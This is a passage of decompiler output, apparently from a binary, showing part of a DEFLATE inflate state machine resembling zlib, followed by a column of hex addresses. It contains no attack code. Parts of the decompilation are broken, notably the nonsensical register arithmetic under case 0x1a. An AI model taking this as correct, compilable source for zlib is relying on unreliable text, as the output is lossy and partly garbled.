												if(_t1061[0x1a] >= _t1061[0x19] + _t1061[0x18]) {
													L223:
													__eflags =  *_t1061 - 0x1d;
													if( *_t1061 == 0x1d) {
														L165:
														_t1013 =  *(_t1102 + 0x10);
														goto L166;
													} else {
														L224:
														__eflags = _t1061[0x9c];
														if(_t1061[0x9c] != 0) {
															L227:
															_t748 =  &(_t1061[0x14c]);
															_t1061[0x15] = 9;
															_t907 =  &(_t1061[0x1b]);
															_t1061[0x13] = _t748;
															 *_t907 = _t748;
															_push( &(_t1061[0xbc]));
															_push( &(_t1061[0x15]));
															_push(_t907);
															_push(_t1061[0x18]);
															_push( &(_t1061[0x1c]));
															_push(1);
															_t751 = E001D6E80();
															_t1102 = _t1102 + 0x18;
															 *(_t1102 + 0x2c) = _t751;
															__eflags = _t751;
															if(_t751 == 0) {
																L229:
																_t1061[0x14] = _t1061[0x1b];
																_t1027 =  &(_t1061[0x16]);
																 *_t1027 = 6;
																_push( &(_t1061[0xbc]));
																_push(_t1027);
																_push( &(_t1061[0x1b]));
																_push(_t1061[0x19]);
																_push(_t1061 + (_t1061[0x18] + 0x38) * 2);
																_push(2);
																_t757 = E001D6E80();
																_t1102 = _t1102 + 0x18;
																 *(_t1102 + 0x2c) = _t757;
																__eflags = _t757;
																if(_t757 == 0) {
																	L231:
																	_t1018 =  *((intOrPtr*)(_t1102 + 0x4c));
																	 *_t1061 = 0x13;
																	__eflags = _t1018 - 6;
																	if(_t1018 == 6) {
																		L328:
																		_t1062 =  *(_t1102 + 0x10);
																		goto L95;
																	} else {
																		L232:
																		_t1028 =  *(_t1102 + 0x10);
																		_t909 =  *(_t1102 + 0x48);
																		goto L233;
																	}
																} else {
																	L230:
																	_t892 =  *(_t1102 + 0x48);
																	_t1013 =  *(_t1102 + 0x10);
																	_t892[6] = "invalid distances set";
																	 *_t1061 = 0x1d;
																	goto L167;
																}
															} else {
																L228:
																_t892 =  *(_t1102 + 0x48);
																_t1013 =  *(_t1102 + 0x10);
																_t892[6] = "invalid literal/lengths set";
																 *_t1061 = 0x1d;
																goto L167;
															}
														} else {
															L225:
															_t892 =  *(_t1102 + 0x48);
															_t1013 =  *(_t1102 + 0x10);
															_t892[6] = "invalid code -- missing end-of-block";
															 *_t1061 = 0x1d;
															goto L167;
														}
													}
												} else {
													L190:
													_t1062 =  *(_t1102 + 0x10);
													do {
														L191:
														_t826 =  *(( *(_t1102 + 0x24))[0x13] + ((0x00000001 <<  *( *(_t1102 + 0x3c))) - 0x00000001 & _t1062) * 4);
														 *(_t1102 + 0x34) = _t826;
														__eflags = (_t826 >> 0x00000008 & 0x000000ff) - _t1089;
														if((_t826 >> 0x00000008 & 0x000000ff) <= _t1089) {
															L195:
															_t1048 = _t826 >> 0x10;
															__eflags = _t1048 - 0x10;
															if(__eflags >= 0) {
																L197:
																if(__eflags != 0) {
																	L203:
																	__eflags =  *(_t1102 + 0x36) - 0x11;
																	_t1049 =  *(_t1102 + 0x10);
																	_t990 = _t826 & 0x000000ff;
																	if( *(_t1102 + 0x36) != 0x11) {
																		L210:
																		_t1087 = _t990 + 7;
																		 *(_t1102 + 0x34) = _t990;
																		__eflags = _t1089 - _t1087;
																		if(_t1089 >= _t1087) {
																			L215:
																			_t1050 = _t1049 >> _t990;
																			_t1013 = _t1050 >> 7;
																			__eflags = _t1013;
																			 *(_t1102 + 0x30) = (_t1050 & 0x0000007f) + 0xb;
																			_t830 = 0xfffffff9;
																			goto L216;
																		} else {
																			L211:
																			while(1) {
																				L212:
																				__eflags = _t1095;
																				if(_t1095 == 0) {
																					goto L93;
																				}
																				L213:
																				_t840 = ( *_t864 & 0x000000ff) << _t1089;
																				_t864 =  &(_t864[1]);
																				_t1049 = _t1049 + _t840;
																				 *(_t1102 + 0x14) = _t864;
																				_t1089 = _t1089 + 8;
																				 *(_t1102 + 0x10) = _t1049;
																				_t1095 = _t1095 - 1;
																				__eflags = _t1089 - _t1087;
																				if(_t1089 < _t1087) {
																					continue;
																				} else {
																					L214:
																					_t990 =  *(_t1102 + 0x34);
																					goto L215;
																				}
																				goto L347;
																			}
																			goto L93;
																		}
																	} else {
																		L204:
																		_t1088 = _t990 + 3;
																		 *(_t1102 + 0x34) = _t990;
																		__eflags = _t1089 - _t1088;
																		if(_t1089 >= _t1088) {
																			L209:
																			_t1053 = _t1049 >> _t990;
																			_t1013 = _t1053 >> 3;
																			 *(_t1102 + 0x30) = (_t1053 & 0x00000007) + 3;
																			_t830 = 0xfffffffd;
																			L216:
																			_t1061 =  *(_t1102 + 0x24);
																			_t1089 = _t1089 + _t830 - _t990;
																			__eflags = _t1089;
																			 *(_t1102 + 0x34) = 0;
																			_t832 =  *(_t1102 + 0x30);
																			goto L217;
																		} else {
																			L205:
																			while(1) {
																				L206:
																				__eflags = _t1095;
																				if(_t1095 == 0) {
																					goto L93;
																				}
																				L207:
																				_t845 = ( *_t864 & 0x000000ff) << _t1089;
																				_t864 =  &(_t864[1]);
																				_t1049 = _t1049 + _t845;
																				 *(_t1102 + 0x14) = _t864;
																				_t1089 = _t1089 + 8;
																				 *(_t1102 + 0x10) = _t1049;
																				_t1095 = _t1095 - 1;
																				__eflags = _t1089 - _t1088;
																				if(_t1089 < _t1088) {
																					continue;
																				} else {
																					L208:
																					_t990 =  *(_t1102 + 0x34);
																					goto L209;
																				}
																				goto L347;
																			}
																			goto L93;
																		}
																	}
																} else {
																	L198:
																	_t1000 = (_t826 >> 0x00000008 & 0x000000ff) + 2;
																	 *(_t1102 + 0x34) = _t1000;
																	__eflags = _t1089 - _t1000;
																	if(_t1089 >= _t1000) {
																		L201:
																		_t1061 =  *(_t1102 + 0x24);
																		_t1001 = _t826 & 0x000000ff;
																		_t1013 =  *(_t1102 + 0x10) >> _t1001;
																		_t1089 = _t1089 - _t1001;
																		_t846 = _t1061[0x1a];
																		 *(_t1102 + 0x10) = _t1013;
																		__eflags = _t846;
																		if(_t846 == 0) {
																			L226:
																			_t892 =  *(_t1102 + 0x48);
																			_t892[6] = "invalid bit length repeat";
																			 *_t1061 = 0x1d;
																			goto L167;
																		} else {
																			L202:
																			 *(_t1102 + 0x34) =  *(_t1061 + 0x6e + _t846 * 2) & 0x0000ffff;
																			_t849 = _t1013 & 0x00000003;
																			_t1013 = _t1013 >> 2;
																			_t832 = _t849 + 3;
																			_t1089 = _t1089 - 2;
																			 *(_t1102 + 0x30) = _t832;
																			L217:
																			 *(_t1102 + 0x10) = _t1013;
																			__eflags = _t1061[0x1a] + _t832 - _t1061[0x19] + _t1061[0x18];
																			if(_t1061[0x1a] + _t832 > _t1061[0x19] + _t1061[0x18]) {
																				goto L226;
																			} else {
																				L218:
																				_t993 =  *(_t1102 + 0x30);
																				_t1051 =  *(_t1102 + 0x34);
																				do {
																					L219:
																					 *(_t1061 + 0x70 + _t1061[0x1a] * 2) = _t1051;
																					_t1061[0x1a] = _t1061[0x1a] + 1;
																					_t836 = _t1061[0x1a];
																					 *(_t1102 + 0x34) = _t836;
																					_t993 = _t993 - 1;
																					__eflags = _t993;
																				} while (_t993 != 0);
																				_t1062 =  *(_t1102 + 0x10);
																				_t1052 = _t836;
																				_t994 =  *(_t1102 + 0x24);
																				goto L221;
																			}
																		}
																	} else {
																		while(1) {
																			L199:
																			__eflags = _t1095;
																			if(_t1095 == 0) {
																				goto L94;
																			}
																			L200:
																			_t1056 = ( *_t864 & 0x000000ff) << _t1089;
																			_t864 =  &(_t864[1]);
																			_t1062 = _t1062 + _t1056;
																			 *(_t1102 + 0x14) = _t864;
																			_t1089 = _t1089 + 8;
																			 *(_t1102 + 0x10) = _t1062;
																			_t1095 = _t1095 - 1;
																			__eflags = _t1089 -  *(_t1102 + 0x34);
																			if(_t1089 <  *(_t1102 + 0x34)) {
																				continue;
																			} else {
																				goto L201;
																			}
																			goto L347;
																		}
																		goto L94;
																	}
																}
															} else {
																L196:
																_t1003 = _t826 >> 0x00000008 & 0x000000ff;
																_t1062 = _t1062 >> _t1003;
																_t1089 = _t1089 - _t1003;
																_t994 =  *(_t1102 + 0x24);
																 *(_t1102 + 0x10) = _t1062;
																 *(_t994 + 0x70 + _t994[0x1a] * 2) = _t1048;
																_t994[0x1a] = _t994[0x1a] + 1;
																_t1052 = _t994[0x1a];
																goto L221;
															}
														} else {
															L192:
															while(1) {
																L193:
																__eflags = _t1095;
																if(_t1095 == 0) {
																	goto L94;
																}
																L194:
																_t1062 = _t1062 + (( *_t864 & 0x000000ff) << _t1089);
																_t864 =  &(_t864[1]);
																_t1089 = _t1089 + 8;
																_t1095 = _t1095 - 1;
																 *(_t1102 + 0x10) = _t1062;
																 *(_t1102 + 0x14) = _t864;
																_t826 =  *(( *(_t1102 + 0x24))[0x13] + ((0x00000001 <<  *( *(_t1102 + 0x3c))) - 0x00000001 & _t1062) * 4);
																 *(_t1102 + 0x34) = _t826;
																__eflags = (_t826 >> 0x00000008 & 0x000000ff) - _t1089;
																if((_t826 >> 0x00000008 & 0x000000ff) > _t1089) {
																	continue;
																} else {
																	goto L195;
																}
																goto L347;
															}
															goto L94;
														}
														goto L347;
														L221:
														__eflags = _t1052 - _t994[0x19] + _t994[0x18];
													} while (_t1052 < _t994[0x19] + _t994[0x18]);
													_t1061 =  *(_t1102 + 0x24);
													goto L223;
												}
												goto L347;
											case 0x13:
												L233:
												 *_t1061 = 0x14;
												goto L234;
											case 0x14:
												L234:
												__eflags = _t1095 - 6;
												if(_t1095 < 6) {
													L238:
													 *(_t1102 + 0x30) = _t1061[0x13];
													_t1061[0x6f1] = 0;
													_t763 =  *(_t1061[0x13] + ((0x00000001 << _t1061[0x15]) - 0x00000001 & _t1028) * 4);
													__eflags = 0xad - _t1089;
													if(0xad <= _t1089) {
														L241:
														__eflags = _t763;
														if(_t763 == 0) {
															L248:
															_t917 = _t763 >> 0x00000008 & 0x000000ff;
															_t1061[0x6f1] = _t1061[0x6f1] + _t917;
															_t1089 = _t1089 - _t917;
															_t1013 = _t1028 >> _t917;
															 *(_t1102 + 0x10) = _t1013;
															_t1061[0x10] = _t763 >> 0x10;
															__eflags = _t763;
															if(_t763 != 0) {
																L250:
																__eflags = _t763 & 0x00000020;
																if((_t763 & 0x00000020) == 0) {
																	L252:
																	__eflags = _t763 & 0x00000040;
																	if((_t763 & 0x00000040) == 0) {
																		L254:
																		_t765 = _t763 & 0xf;
																		__eflags = _t765;
																		 *_t1061 = 0x15;
																		_t1061[0x12] = _t765;
																		goto L255;
																	} else {
																		L253:
																		_t892 =  *(_t1102 + 0x48);
																		_t892[6] = "invalid literal/length code";
																		 *_t1061 = 0x1d;
																		goto L167;
																	}
																} else {
																	L251:
																	_t1061[0x6f1] = 0xffffffff;
																	 *_t1061 = 0xb;
																	goto L166;
																}
															} else {
																L249:
																 *_t1061 = 0x19;
																goto L166;
															}
														} else {
															L242:
															__eflags = _t763 & 0x000000f0;
															if((_t763 & 0x000000f0) != 0) {
																goto L248;
															} else {
																L243:
																_t963 = _t763 >> 8;
																_t1036 = _t763;
																 *(_t1102 + 0x40) = _t963;
																 *(_t1102 + 0x34) = _t1036;
																_t763 =  *( *(_t1102 + 0x30) + ((((0x00000001 << (_t763 & 0x000000ff) + (_t963 & 0x000000ff)) - 0x00000001 &  *(_t1102 + 0x10)) >> (_t963 & 0x000000ff)) + (_t763 >> 0x10)) * 4);
																__eflags = (_t763 >> 0x00000008 & 0x000000ff) + ( *(_t1102 + 0x40) & 0x000000ff) - _t1089;
																if((_t763 >> 0x00000008 & 0x000000ff) + ( *(_t1102 + 0x40) & 0x000000ff) <= _t1089) {
																	L247:
																	_t1061 =  *(_t1102 + 0x24);
																	_t864 =  *(_t1102 + 0x14);
																	_t972 = _t1036 & 0x000000ff;
																	_t1028 =  *(_t1102 + 0x10) >> _t972;
																	_t1089 = _t1089 - _t972;
																	__eflags = _t1089;
																	_t1061[0x6f1] = _t972;
																	goto L248;
																} else {
																	L244:
																	while(1) {
																		L245:
																		__eflags = _t1095;
																		if(_t1095 == 0) {
																			goto L93;
																		}
																		L246:
																		_t889 =  *(_t1102 + 0x14);
																		_t973 = _t1089;
																		_t1089 = _t1089 + 8;
																		_t1095 = _t1095 - 1;
																		 *(_t1102 + 0x10) =  *(_t1102 + 0x10) + (( *_t889 & 0x000000ff) << _t973);
																		 *(_t1102 + 0x14) =  &(_t889[1]);
																		_t891 = _t1036 & 0x000000ff;
																		_t763 =  *(( *(_t1102 + 0x24))[0x13] + ((((0x00000001 << (_t1036 & 0x000000ff) + _t891) - 0x00000001 &  *(_t1102 + 0x10)) >> _t891) + ( *(_t1102 + 0x36) & 0x0000ffff)) * 4);
																		__eflags = (_t763 >> 0x00000008 & 0x000000ff) + _t891 - _t1089;
																		if((_t763 >> 0x00000008 & 0x000000ff) + _t891 > _t1089) {
																			continue;
																		} else {
																			goto L247;
																		}
																		goto L347;
																	}
																	goto L93;
																}
															}
														}
													} else {
														while(1) {
															L239:
															__eflags = _t1095;
															if(_t1095 == 0) {
																goto L93;
															}
															L240:
															_t816 = ( *_t864 & 0x000000ff) << _t1089;
															_t864 =  &(_t864[1]);
															_t1089 = _t1089 + 8;
															 *(_t1102 + 0x10) = _t1028 + _t816;
															_t1095 = _t1095 - 1;
															 *(_t1102 + 0x14) = _t864;
															_t763 =  *(_t1061[0x13] + ((0x00000001 << _t1061[0x15]) - 0x00000001 &  *(_t1102 + 0x10)) * 4);
															_t1028 =  *(_t1102 + 0x10);
															__eflags = (_t763 >> 0x00000008 & 0x000000ff) - _t1089;
															if((_t763 >> 0x00000008 & 0x000000ff) > _t1089) {
																continue;
															} else {
																goto L241;
															}
															goto L347;
														}
														goto L93;
													}
												} else {
													L235:
													__eflags =  *(_t1102 + 0x1c) - 0x102;
													if( *(_t1102 + 0x1c) < 0x102) {
														goto L238;
													} else {
														L236:
														_push( *((intOrPtr*)(_t1102 + 0x28)));
														_t909[3] =  *(_t1102 + 0x20);
														_t909[4] =  *(_t1102 + 0x20);
														 *_t909 = _t864;
														_t909[1] = _t1095;
														_push(_t909);
														_t1061[0xe] = _t1028;
														_t1061[0xf] = _t1089;
														E001D7330();
														_t892 =  *(_t1102 + 0x50);
														_t1102 = _t1102 + 8;
														__eflags =  *_t1061 - 0xb;
														_t1013 = _t1061[0xe];
														_t1089 = _t1061[0xf];
														_t864 =  *_t892;
														_t1095 = _t892[1];
														 *(_t1102 + 0x20) = _t892[3];
														 *(_t1102 + 0x1c) = _t892[4];
														 *(_t1102 + 0x14) = _t864;
														 *(_t1102 + 0x10) = _t1013;
														if( *_t1061 == 0xb) {
															_t1061[0x6f1] = 0xffffffff;
														}
														goto L167;
													}
												}
												goto L347;
											case 0x15:
												L255:
												_t920 = _t1061[0x12];
												__eflags = _t920;
												if(_t920 == 0) {
													L261:
													_t1061[0x6f2] = _t1061[0x10];
													 *_t1061 = 0x16;
													goto L262;
												} else {
													L256:
													__eflags = _t1089 - _t920;
													if(_t1089 >= _t920) {
														L260:
														_t1089 = _t1089 - _t920;
														_t806 = (0x00000001 << _t920) - 0x00000001 & _t1013;
														_t1013 = _t1013 >> _t920;
														_t1061[0x10] = _t1061[0x10] + _t806;
														_t516 =  &(_t1061[0x6f1]);
														 *_t516 = _t1061[0x6f1] + _t920;
														__eflags =  *_t516;
														 *(_t1102 + 0x10) = _t1013;
														goto L261;
													} else {
														L257:
														asm("o16 nop [eax+eax]");
														while(1) {
															L258:
															__eflags = _t1095;
															if(_t1095 == 0) {
																goto L93;
															}
															L259:
															_t808 = ( *_t864 & 0x000000ff) << _t1089;
															_t864 =  &(_t864[1]);
															_t920 = _t1061[0x12];
															_t1013 = _t1013 + _t808;
															_t1089 = _t1089 + 8;
															 *(_t1102 + 0x10) = _t1013;
															_t1095 = _t1095 - 1;
															 *(_t1102 + 0x14) = _t864;
															__eflags = _t1089 - _t920;
															if(_t1089 < _t920) {
																continue;
															} else {
																goto L260;
															}
															goto L347;
														}
														goto L93;
													}
												}
												goto L347;
											case 0x16:
												L262:
												 *(_t1102 + 0x40) = _t1061[0x14];
												_t772 =  *(_t1061[0x14] + ((0x00000001 << _t1061[0x16]) - 0x00000001 & _t1013) * 4);
												__eflags = 0xad - _t1089;
												if(0xad <= _t1089) {
													L265:
													__eflags = _t772 & 0x000000f0;
													if((_t772 & 0x000000f0) != 0) {
														L270:
														_t864 =  *(_t1102 + 0x14);
														_t928 = _t772 >> 0x00000008 & 0x000000ff;
														_t1061[0x6f1] = _t1061[0x6f1] + _t928;
														_t1089 = _t1089 - _t928;
														_t1013 = _t1013 >> _t928;
														 *(_t1102 + 0x10) = _t1013;
														__eflags = _t772 & 0x00000040;
														if((_t772 & 0x00000040) == 0) {
															L272:
															 *_t1061 = 0x17;
															_t774 = _t772 & 0xf;
															__eflags = _t774;
															_t1061[0x11] = _t772 >> 0x10;
															_t1061[0x12] = _t774;
															goto L273;
														} else {
															L271:
															_t892 =  *(_t1102 + 0x48);
															_t892[6] = "invalid distance code";
															 *_t1061 = 0x1d;
															goto L167;
														}
													} else {
														L266:
														_t938 = _t772 >> 8;
														_t1029 = _t772;
														 *(_t1102 + 0x30) = _t938;
														 *(_t1102 + 0x34) = _t1029;
														_t772 =  *( *(_t1102 + 0x40) + ((((0x00000001 << (_t772 & 0x000000ff) + (_t938 & 0x000000ff)) - 0x00000001 &  *(_t1102 + 0x10)) >> (_t938 & 0x000000ff)) + (_t772 >> 0x10)) * 4);
														__eflags = (_t772 >> 0x00000008 & 0x000000ff) + ( *(_t1102 + 0x30) & 0x000000ff) - _t1089;
														if((_t772 >> 0x00000008 & 0x000000ff) + ( *(_t1102 + 0x30) & 0x000000ff) <= _t1089) {
															L269:
															_t1061 =  *(_t1102 + 0x24);
															_t947 = _t1029 & 0x000000ff;
															_t1089 = _t1089 - _t947;
															_t1013 =  *(_t1102 + 0x10) >> _t947;
															_t556 =  &(_t1061[0x6f1]);
															 *_t556 = _t1061[0x6f1] + _t947;
															__eflags =  *_t556;
															goto L270;
														} else {
															while(1) {
																L267:
																__eflags = _t1095;
																if(_t1095 == 0) {
																	goto L93;
																}
																L268:
																_t880 =  *(_t1102 + 0x14);
																_t948 = _t1089;
																_t1089 = _t1089 + 8;
																_t1095 = _t1095 - 1;
																 *(_t1102 + 0x10) =  *(_t1102 + 0x10) + (( *_t880 & 0x000000ff) << _t948);
																 *(_t1102 + 0x14) =  &(_t880[1]);
																_t882 = _t1029 & 0x000000ff;
																_t772 =  *(( *(_t1102 + 0x24))[0x14] + ((((0x00000001 << (_t1029 & 0x000000ff) + _t882) - 0x00000001 &  *(_t1102 + 0x10)) >> _t882) + ( *(_t1102 + 0x36) & 0x0000ffff)) * 4);
																__eflags = (_t772 >> 0x00000008 & 0x000000ff) + _t882 - _t1089;
																if((_t772 >> 0x00000008 & 0x000000ff) + _t882 > _t1089) {
																	continue;
																} else {
																	goto L269;
																}
																goto L347;
															}
															goto L93;
														}
													}
												} else {
													while(1) {
														L263:
														__eflags = _t1095;
														if(_t1095 == 0) {
															goto L93;
														}
														L264:
														_t801 = ( *_t864 & 0x000000ff) << _t1089;
														_t864 =  &(_t864[1]);
														_t1089 = _t1089 + 8;
														 *(_t1102 + 0x10) = _t1013 + _t801;
														_t1095 = _t1095 - 1;
														 *(_t1102 + 0x14) = _t864;
														_t772 =  *(_t1061[0x14] + ((0x00000001 << _t1061[0x16]) - 0x00000001 &  *(_t1102 + 0x10)) * 4);
														_t1013 =  *(_t1102 + 0x10);
														__eflags = (_t772 >> 0x00000008 & 0x000000ff) - _t1089;
														if((_t772 >> 0x00000008 & 0x000000ff) > _t1089) {
															continue;
														} else {
															goto L265;
														}
														goto L347;
													}
													goto L93;
												}
												goto L347;
											case 0x17:
												L273:
												_t931 = _t1061[0x12];
												__eflags = _t931;
												if(_t931 == 0) {
													L279:
													 *_t1061 = 0x18;
													goto L280;
												} else {
													L274:
													__eflags = _t1089 - _t931;
													if(_t1089 >= _t931) {
														L278:
														_t1089 = _t1089 - _t931;
														_t791 = (0x00000001 << _t931) - 0x00000001 & _t1013;
														_t1013 = _t1013 >> _t931;
														_t1061[0x11] = _t1061[0x11] + _t791;
														_t574 =  &(_t1061[0x6f1]);
														 *_t574 = _t1061[0x6f1] + _t931;
														__eflags =  *_t574;
														 *(_t1102 + 0x10) = _t1013;
														goto L279;
													} else {
														L275:
														asm("o16 nop [eax+eax]");
														while(1) {
															L276:
															__eflags = _t1095;
															if(_t1095 == 0) {
																goto L93;
															}
															L277:
															_t793 = ( *_t864 & 0x000000ff) << _t1089;
															_t864 =  &(_t864[1]);
															_t931 = _t1061[0x12];
															_t1013 = _t1013 + _t793;
															_t1089 = _t1089 + 8;
															 *(_t1102 + 0x10) = _t1013;
															_t1095 = _t1095 - 1;
															 *(_t1102 + 0x14) = _t864;
															__eflags = _t1089 - _t931;
															if(_t1089 < _t931) {
																continue;
															} else {
																goto L278;
															}
															goto L347;
														}
														goto L93;
													}
												}
												goto L347;
											case 0x18:
												L280:
												_t932 =  *(_t1102 + 0x1c);
												__eflags = _t932;
												if(_t932 == 0) {
													goto L93;
												} else {
													L281:
													_t776 =  *((intOrPtr*)(_t1102 + 0x28)) - _t932;
													_t933 = _t1061[0x11];
													__eflags = _t933 - _t776;
													if(_t933 <= _t776) {
														L290:
														_t778 =  *(_t1102 + 0x20) - _t933;
														__eflags = _t778;
														 *(_t1102 + 0x34) = _t778;
														_t779 = _t1061[0x10];
														goto L291;
													} else {
														L282:
														_t934 = _t933 - _t776;
														__eflags = _t934 - _t1061[0xb];
														if(_t934 <= _t1061[0xb]) {
															L285:
															_t782 = _t1061[0xc];
															__eflags = _t934 - _t782;
															if(_t934 <= _t782) {
																_t785 = _t1061[0xd] - _t934 + _t1061[0xc];
																__eflags = _t785;
															} else {
																_t934 = _t934 - _t782;
																_t785 = _t1061[0xd] + _t1061[0xa] - _t934;
															}
															 *(_t1102 + 0x34) = _t785;
															_t779 = _t1061[0x10];
															__eflags = _t934 - _t779;
															if(_t934 > _t779) {
																L289:
																L291:
																_t934 = _t779;
															}
															L292:
															_t870 =  *(_t1102 + 0x1c);
															__eflags = _t934 - _t870;
															_t935 =  >  ? _t870 : _t934;
															 *(_t1102 + 0x1c) = _t870 - _t935;
															_t1061[0x10] = _t779 - _t935;
															_t1068 =  *(_t1102 + 0x20);
															_t873 =  *(_t1102 + 0x34) - _t1068;
															asm("o16 nop [eax+eax]");
															do {
																L293:
																 *_t1068 =  *((intOrPtr*)(_t873 + _t1068));
																_t1068 =  &(_t1068[1]);
																_t935 = _t935 - 1;
																__eflags = _t935;
															} while (_t935 != 0);
															_t864 =  *(_t1102 + 0x14);
															 *(_t1102 + 0x20) = _t1068;
															_t1061 =  *(_t1102 + 0x24);
															__eflags = _t1061[0x10] - _t935;
															if(_t1061[0x10] == _t935) {
																 *_t1061 = 0x14;
															}
															L166:
															_t892 =  *(_t1102 + 0x48);
														} else {
															L283:
															__eflags = _t1061[0x6f0];
															if(_t1061[0x6f0] == 0) {
																goto L285;
															} else {
																L284:
																_t892 =  *(_t1102 + 0x48);
																_t892[6] = "invalid distance too far back";
																 *_t1061 = 0x1d;
															}
														}
													}
													goto L167;
												}
												goto L347;
											case 0x19:
												L296:
												__eflags =  *(__esp + 0x1c);
												if( *(__esp + 0x1c) == 0) {
													goto L93;
												} else {
													L297:
													__ebx =  *(__esp + 0x20);
													__al = __edi[0x10];
													 *(__esp + 0x20) =  *(__esp + 0x20) + 1;
													 *(__esp + 0x1c) =  *(__esp + 0x1c) - 1;
													 *( *(__esp + 0x20)) = __al;
													__ebx =  *(__esp + 0x14);
													 *__edi = 0x14;
													goto L167;
												}
												goto L347;
											case 0x1a:
												L298:
												__eflags = __edi[2];
												if (__edi[2] == 0) goto L314;
												__eflags = __al & __cl;
												 *__eax =  *__eax + __al;
												_t615 = __ebx + 0x277320fe;
												 *_t615 =  *(__ebx + 0x277320fe) + __al;
												__eflags =  *_t615;
											case 0x1b:
												L315:
												__eflags = __edi[2];
												if(__edi[2] == 0) {
													L325:
													 *__edi = 0x1c;
													goto L326;
												} else {
													L316:
													__eflags = __edi[4];
													if(__edi[4] == 0) {
														goto L325;
													} else {
														L317:
														__eflags = __esi - 0x20;
														if(__esi >= 0x20) {
															L321:
															__eflags = __edx - __edi[7];
															if(__edx == __edi[7]) {
																L324:
																__ecx = 0;
																__esi = 0;
																__eflags = 0;
																 *(__esp + 0x10) = 0;
																goto L325;
															} else {
																L322:
																__ecx =  *(__esp + 0x48);
																 *(__ecx + 0x18) = "incorrect length check";
																 *__edi = 0x1d;
																goto L167;
															}
														} else {
															L318:
															while(1) {
																L319:
																__eflags = __ebp;
																if(__ebp == 0) {
																	goto L93;
																}
																L320:
																__eax =  *__ebx & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebx & 0x000000ff) << __cl;
																__ebx = __ebx + 1;
																__edx = __edx + __eax;
																 *(__esp + 0x14) = __ebx;
																__esi = __esi + 8;
																 *(__esp + 0x10) = __edx;
																__ebp = __ebp - 1;
																__eflags = __esi - 0x20;
																if(__esi < 0x20) {
																	continue;
																} else {
																	goto L321;
																}
																goto L347;
															}
															goto L93;
														}
													}
												}
												goto L347;
											case 0x1c:
												L326:
												 *(__esp + 0x2c) = 1;
												goto L93;
											case 0x1d:
												L327:
												 *(__esp + 0x2c) = 0xfffffffd;
												goto L93;
											case 0x1e:
												goto L102;
										}
									}
									L168:
									return 0xfffffffe;
								}
							} else {
								do {
									L178:
									if(_t1089 >= 3) {
										goto L182;
									} else {
										L179:
										while(1) {
											L180:
											if(_t1095 == 0) {
												goto L93;
											}
											L181:
											_t863 = ( *_t864 & 0x000000ff) << _t1089;
											_t864 =  &(_t864[1]);
											_t1013 = _t1013 + _t863;
											 *(_t1102 + 0x14) = _t864;
											_t1089 = _t1089 + 8;
											 *(_t1102 + 0x10) = _t1013;
											_t1095 = _t1095 - 1;
											if(_t1089 < 3) {
												continue;
											} else {
												goto L182;
											}
											goto L347;
										}
										goto L93;
									}
									goto L347;
									L182:
									_t1011 = _t1013 & 0x00000007;
									_t1013 = _t1013 >> 3;
									_t1089 = _t1089 - 3;
									 *(_t1102 + 0x10) = _t1013;
									 *(_t1061 + 0x70 + ( *(0x1f2108 + _t1061[0x1a] * 2) & 0x0000ffff) * 2) = _t1011;
									_t1061[0x1a] = _t1061[0x1a] + 1;
								} while (_t1061[0x1a] < _t1061[0x17]);
								goto L183;
							}
						}
					}
					goto L347;
				}
			}

0x001d58c8
0x001d58c8
0x001d58c8
0x001d58c8
0x001d58c8
0x001d58c8
0x001d58c8
0x001d58cb
0x00000000
0x00000000
0x00000000
0x001d58d0
0x001d58d0
0x001d58d2
0x00000000
0x00000000
0x001d58d8
0x001d58d8
0x001d58dd
0x001d58df
0x001d58e0
0x001d58e2
0x001d58e6
0x001d58e9
0x001d58ed
0x001d58f1
0x00000000
0x001d58f3
0x001d58f3
0x00000000
0x001d58f3
0x00000000
0x001d58f1
0x001d5471
0x001d5471
0x001d5475
0x001d5475
0x001d5479
0x001d5479
0x001d5481
0x001d5485
0x001d548c
0x001d5493
0x001d5496
0x001d549a
0x001d54a0
0x001d54a3
0x001d54a6
0x001d54ca
0x001d54d4
0x001d54d9
0x001d54de
0x001d6457
0x001d6457
0x00000000
0x001d54e4
0x001d54e4
0x001d54e4
0x001d54ea
0x001d54f6
0x001d54f6
0x001d54a8
0x001d54a8
0x001d54ab
0x001d645b
0x001d645f
0x001d6462
0x001d6465
0x001d6468
0x001d646b
0x001d6472
0x001d6476
0x001d64b4
0x001d64b4
0x001d6478
0x001d6478
0x001d647a
0x00000000
0x001d647c
0x001d647c
0x001d647f
0x001d6486
0x001d6487
0x001d648a
0x001d64a0
0x001d64a5
0x001d64a9
0x001d64ac
0x001d64af
0x001d648c
0x001d648c
0x001d6491
0x001d6495
0x001d6498
0x001d649b
0x001d649b
0x001d648a
0x001d647a
0x001d64b8
0x001d64b8
0x001d64bd
0x001d64c8
0x001d64c8
0x001d64bf
0x001d64bf
0x001d64c2
0x00000000
0x001d64c4
0x001d64c4
0x001d64c4
0x001d64c4
0x001d64c2
0x001d64cd
0x001d64d2
0x001d64da
0x001d64e4
0x001d64eb
0x001d64ed
0x001d64f5
0x001d64f8
0x001d64fe
0x001d6503
0x001d651b
0x001d6526
0x00000000
0x00000000
0x00000000
0x001d64fa
0x001d64fa
0x001d64fc
0x001d6505
0x001d6505
0x001d6513
0x001d651a
0x00000000
0x00000000
0x00000000
0x001d64fc
0x001d54b1
0x001d54b1
0x001d54b1
0x001d54b6
0x00000000
0x001d54bc
0x001d54bc
0x001d54bf
0x00000000
0x001d54c1
0x001d54c1
0x001d54c4
0x00000000
0x00000000
0x00000000
0x00000000
0x001d54c4
0x001d54bf
0x001d54b6
0x001d54ab
0x00000000
0x001d58f7
0x001d58f9
0x001d58ff
0x001d5907
0x001d590f
0x001d5913
0x001d591b
0x001d5921
0x001d592c
0x001d592f
0x001d5a21
0x001d5a21
0x001d5a28
0x00000000
0x001d5935
0x001d5935
0x001d5939
0x00000000
0x001d593f
0x001d593f
0x001d593f
0x001d5946
0x001d594c
0x001d5952
0x001d59ad
0x001d59b1
0x001d59b3
0x001d59c0
0x001d59c5
0x001d59c8
0x001d59ce
0x001d59ce
0x001d59d4
0x001d59db
0x001d59de
0x001d59e1
0x001d59ec
0x001d59ed
0x001d59ee
0x001d59ef
0x001d59f4
0x001d59f5
0x001d59f7
0x001d59fc
0x001d59ff
0x001d5a05
0x001d5a33
0x001d5a33
0x001d5a3a
0x00000000
0x001d5a07
0x001d5a07
0x001d5a07
0x001d5a0b
0x001d5a0f
0x001d5a16
0x001d58a8
0x001d58a8
0x001d58a8
0x001d58ad
0x00000000
0x00000000
0x001d4fa0
0x001d4fa0
0x00000000
0x001d4fa7
